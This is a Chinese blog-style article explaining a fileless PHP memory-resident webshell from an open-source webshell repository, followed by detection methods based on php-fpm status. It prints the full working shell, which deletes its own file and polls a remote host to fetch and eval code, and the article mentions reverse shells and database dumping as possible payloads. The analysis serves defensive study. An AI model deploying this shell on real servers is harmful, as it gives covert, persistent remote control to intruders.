网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载导读本文以仓库 php/MemShellForPHP 目录下的文档与源码为核心系统讲解一种特殊的 PHP 内存驻留 WebShell脚本在执行后立即删除自身文件、常驻于 PHP 进程内存中通过循环拉取远程指令实现持续控制做到无文件残留。文章将完整还原其攻击原理ignore_user_abort、set_time_limit、unlink三大关键函数的配合、给出可复现的完整代码并深入解读基于 php-fpm status 的两类检测方案。读完本文你将掌握这种内存马的构造思路、运行机制以及在实际环境中定位与处置它的具体手段。一、攻击原理执行后自删除驻留内存普通的 PHP WebShell 以文件形式存在于 Web 目录中极易被文件扫描、日志审计、HIDS 发现。而 PHP 内存驻留 WebShell 的核心思路是让恶意脚本在首次执行时删除自身文件随后依靠 PHP 进程常驻内存的特性持续运行。由于恶意代码不再对应磁盘上的任何文件传统基于文件的查杀手段将完全失效最终效果是马在内存中磁盘无残留。该思路主要依赖以下两个 PHP 运行时函数完整实现见 php/MemShellForPHP/memWebshell.php1.ignore_user_abort(true)让脚本脱离客户端连接而继续运行ignore_user_abort(true); // 后台运行这个函数的作用是指示服务器端在远程客户端关闭连接后是否继续执行下面的脚本。设置为true时即使客户端攻击者的浏览器或工具主动断开连接PHP 脚本依然会在服务器后台继续执行完毕不会被中断。这是内存马得以常驻的前提——否则客户端一断脚本运行也随之终止。2.set_time_limit(0)取消脚本执行时间的超时上限set_time_limit(0); // 取消脚本运行时间的超时上限括号内的数字是允许脚本执行的最长时间秒。如果传0表示永久执行直到程序结束如果传入大于 0 的数字则无论程序是否执行完成到达设定秒数后程序都会被强制结束。需要特别说明的是脚本也可能被内置的脚本计时器中断。PHP 默认的超时限制为 30 秒该值可以通过以下三种途径调整修改php.ini中的max_execution_time配置项在 Apache 的.conf配置中设置对应的php_value max_execution_time参数在脚本内调用set_time_limit()函数。对于内存马而言set_time_limit(0)是必须的一步只有解除超时限制后续的无限循环拉取指令才能持续进行。3.unlink($_SERVER[SCRIPT_FILENAME])删除自身文件unlink($_SERVER[SCRIPT_FILENAME]);$_SERVER[SCRIPT_FILENAME]返回当前执行脚本的绝对文件路径unlink()用于删除该文件从而实现执行后自毁。但unlink的运行条件较为苛刻该脚本需要具备可执行权限且运行用户具备修改/删除该文件所在目录写权限的权限时方能执行成功。因此在真实场景中攻击者通常会先调用chmod将文件权限放开再删除见下文完整代码。二、完整实现一次请求永续控制仓库 php/MemShellForPHP/memWebshell.php 给出了完整的可运行样本?php chmod($_SERVER[SCRIPT_FILENAME], 0777); unlink($_SERVER[SCRIPT_FILENAME]); ignore_user_abort(true); set_time_limit(0); echo success; $remote_file http://10.211.55.2/111/test.txt; while($code file_get_contents($remote_file)){ eval($code); echo xunhuan; sleep(5); }; ?该脚本的执行流程可以拆解为六个步骤放开权限chmod($_SERVER[SCRIPT_FILENAME], 0777)先将当前文件权限修改为 0777确保后续unlink能够成功删除自身unlink($_SERVER[SCRIPT_FILENAME])删除磁盘上的脚本文件实现无文件残留脱离客户端ignore_user_abort(true)让脚本在攻击者断开连接后继续在服务器后台运行解除超时set_time_limit(0)让脚本可以无限期运行输出标记echo success返回执行成功信号便于攻击者确认马已植入循环取码执行进入while死循环每 5 秒sleep(5)通过file_get_contents从远端 URL 拉取一次指令代码并交给eval($code)执行。符号用于抑制执行报错避免异常信息暴露到页面或日志。控制端内容test.txt攻击者将待执行的 PHP 代码放到远端服务器上作为指令下发源。仓库中的 php/MemShellForPHP/test.txt 即是一个最简单的指令示例file_put_contents(printTime.txt,jweny .time());该指令的效果是在 WebShell 所在目录生成printTime.txt文件并写入jweny 当前时间戳。由于主循环每 5 秒执行一次eval因此printTime.txt会每 5 秒被写入一次新的时间戳——这既是验证内存马是否存活的最直观手段也揭示了其心跳行为特征。从控制架构看这是一个典型的C2 指令轮询polling模型内存马充当常驻 Agent不断向控制端拉取指令并执行。控制端可以随时更新test.txt的内容来切换攻击载荷例如反弹 Shell、拖库、提权等整个过程无需重新上传 WebShell 文件隐蔽性极强。三、检测方案基于 php-fpm status 的进程级排查由于内存马不落盘文件层检测失效检测思路必须转向运行时进程层。原文档给出的检测方案建立在获取php-fpm status的基础上核心检查点有两个检查点 1检查所有 PHP 进程处理请求的持续时间php-fpm 的status接口会暴露每个 worker 进程当前正在处理的请求信息包括请求的开始时间、持续时间等。内存马在set_time_limit(0)与while循环的加持下单个请求会长期处于处理中状态其持续时间会远超正常请求正常 PHP 请求通常在毫秒到秒级完成而内存马可长达数小时甚至数天。因此若发现某个 php-fpm worker 的请求持续时间异常漫长且持续增长应高度怀疑存在内存驻留型 WebShell正常业务请求若出现长时间挂起通常是慢查询、死循环或外部调用阻塞可通过持续观测与业务日志交叉验证排除。检查点 2检测执行文件是否在文件系统真实存在内存马在unlink之后其对应文件已从磁盘删除。此时通过 php-fpm status 看到的当前执行脚本路径将指向一个磁盘上不存在的文件。检测逻辑为从 php-fpm status 中提取每个 worker 正在执行的脚本路径逐一与文件系统比对检查该路径是否真实存在凡是进程仍在执行、但对应文件已不存在的请求即为内存马的强特征。这一检测思路的精髓在于正常请求的脚本文件在执行期间必然存在于磁盘而内存马恰恰违背了这一常规形成执行中却无文件的异常状态从而可以被程序化识别。检测方案落地要点需要确保 php-fpm 已开启 status 接口配置pm.status_path或借助php-fpm进程的/proc/pid信息进行辅助分析两个检查点应组合使用单一检查可能存在误报如文件刚被清理的合法请求两者同时命中时可信度显著提升检测应尽量自动化、周期性执行因为内存马可能随时更新指令、改变行为特征。四、延伸思考与 Java 内存马的异同内存马并非 PHP 专属概念。本仓库还收录了 Java 体系的内存马研究例如 jsp/WebSocket 内存马一种新型内存马技术.md 与 wsMemShell 项目它们通过向 Tomcat/Spring 等容器动态注入 Endpoint/Filter/Servlet实现命令执行同样做到无文件化。两者对比可更清晰地理解本主题的定位维度PHP 内存驻留 WebShellJava WebSocket 内存马载体单个 PHP 文件执行后自删注入容器运行时的类/Endpoint驻留方式依赖 PHP 进程常驻 无限循环依赖 Servlet 容器生命周期指令获取HTTP 轮询拉取远端代码WebSocket 全双工长连接检测难点无文件残留、请求长期挂起无新增 Listener/Servlet/Filter常规扫描器难发现两者殊途同归对抗的焦点都从文件是否存在转向进程/内存中是否有异常活动这也正是检测方案必须下沉到运行时层面的根本原因。五、小结PHP 内存驻留 WebShellphp/MemShellForPHP通过chmodunlink实现自删除、ignore_user_abort(true)实现后台常驻、set_time_limit(0)解除超时限制、while file_get_contents eval实现远程指令轮询构建了一个完全无文件残留的持久化控制通道。其防御关键在于放弃纯文件查杀思路转向基于 php-fpm status 的进程级检测发现长期挂起的请求、识别执行中但文件已不存在的异常路径。本文所有代码与文档均可在仓库中直接查阅复现memWebshell.php、test.txt、readme.md供安全研究与防御实战参考。赞分享网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载相关推荐MAS 激活脚本完整指南:4 步激活 Windows 11 与 Office,四套方案一次选清MAS 激活脚本完整指南:4 步激活 Windows 11 与 Office,四套方案一次选清 刚装好的 Windows 11,右下角挂着灰色未激活水印,右网络安全渗透测试webshell 仓库中的 PHP 反射后门基于 ReflectionFunction 的一句话木马原理与实战利用webshell 仓库中的 PHP 反射后门基于 ReflectionFunction 的一句话木马原理与实战利用 本文基于 php/p2j/Readme.m网络安全渗透测试COLDSTEEL 远控木马检测指南基于 Sigma 规则的 Windows 持久化与驻留行为猎捕方案COLDSTEEL 远控木马检测指南基于 Sigma 规则的 Windows 持久化与驻留行为猎捕方案 COLDSTEEL 是一款针对 Windows 平台的网络安全应用安全上一篇终极解决方案3步修复群晖DSM 7.2.2 Video Station不兼容问题下一篇Windows AirPlay 2投屏终极实战3步构建跨平台屏幕镜像系统创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考